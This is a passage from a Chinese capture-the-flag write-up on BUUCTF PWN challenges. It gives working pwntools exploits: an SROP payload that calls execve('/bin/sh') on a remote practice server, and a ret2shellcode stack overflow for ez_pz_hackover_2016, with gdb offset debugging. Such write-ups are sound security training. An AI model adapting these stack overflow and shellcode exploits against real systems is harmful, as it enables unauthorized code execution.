32题 BUUCTF-PWN-第一页writep( 八 )

不懂,为什么偏移要随跳转函数的改变而改变,是因为vuln 调用 main 和 main 调用 vuln 栈中多压入 rbp 和 rip 吗,所以多了 0x20,但是我调试的时候貌似 buf 的地址会改变,第二次泄露的地址就是第一次泄露的地址 - 0x118。而且是在第一次攻击调用 main 函数的情况下 。当然这是本地调试的情况,远程就不清楚了还可以用 SROP 的方法做
from pwn import *from LibcSearcher import *context.log_level='debug'context(os='linux', arch='amd64')#p = process('pwn')p = remote('node4.buuoj.cn', 26376)elf = ELF('pwn')rax_15 = 0x4004DAsyscall = 0x400517payload = b'a'*0x10 + p64(elf.sym['vuln'])p.sendline(payload)p.recv(0x20)binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118print('binsh=>',hex(binsh))# 设置sigframe关键寄存器sigframe = SigreturnFrame()sigframe.rax = constants.SYS_execvesigframe.rdi = binshsigframe.rsi = 0sigframe.rdx = 0sigframe.rip = syscallprint('sigframe.rax:',sigframe.rax)payload = b'/bin/sh\x00'*2 + p64(rax_15) + p64(syscall) + flat(sigframe)p.sendline(payload)p.interactive()ez_pz_hackover_2016

32题 BUUCTF-PWN-第一页writep

文章插图
chall函数
32题 BUUCTF-PWN-第一页writep

文章插图
如果执行了 vuln 函数,那么就可以触发栈溢出漏洞
32题 BUUCTF-PWN-第一页writep

文章插图
首先要使 strcmp(s, "crashme") == 0,所以令 payload = 'crashme\x00'明显这道题是 ret2shellcode接下来就是本题重点了,调试出偏移地址0x8048600 是发送栈溢出漏洞这里的汇编指令地址,IDA查看需要的填充无用数据大小是错的,需要动态调试
32题 BUUCTF-PWN-第一页writep

文章插图
一个调试技巧,这里要先断点,不然程序就直接结束了,无法debugfrom pwn import *p=process('./1')context.log_level='debug'gdb.attach(p,'b *0x8048600')p.recvuntil('crash: ')stack=int(p.recv(10),16)print(hex(stack))payload=b'crashme\x00' + b'a'*4p.sendline(payload)pause()进入gdb界面后,按 c 运行到断点处
32题 BUUCTF-PWN-第一页writep

文章插图
查看栈可以发现,我们的数据在 0xffa39603 处开始填充,如果要覆盖 ebp,那么需要 0x16 + 4 个字节这里 chall 函数泄露地址是 0xfff5f9cc
32题 BUUCTF-PWN-第一页writep

文章插图
记录我们写入的 shellcode 的偏移为 0x1c,所以可以用 泄露地址 - 0x1c 来代表 shellcode 地址
32题 BUUCTF-PWN-第一页writep

文章插图
于是构造出以下expfrom pwn import *p=process('./1')context.log_level='debug'p.recvuntil('crash: ')stack=int(p.recv(10),16)print(hex(stack))payload=b'crashme\x00'+b'a'*(0x16+4-8) + p32(stack-0x1c) + asm(shellcraft.sh())p.sendline(payload)p.interactive()这里比较坑的是,不知道是不是我环境配置的原因,我用 ubuntu16 和 ubuntu18 这两台是无法成功动态调试的,一按 c 就程序就直接结束了,根本不理会是否设置了断点,换了 ubuntu22 和 kali 才能正常调试

经验总结扩展阅读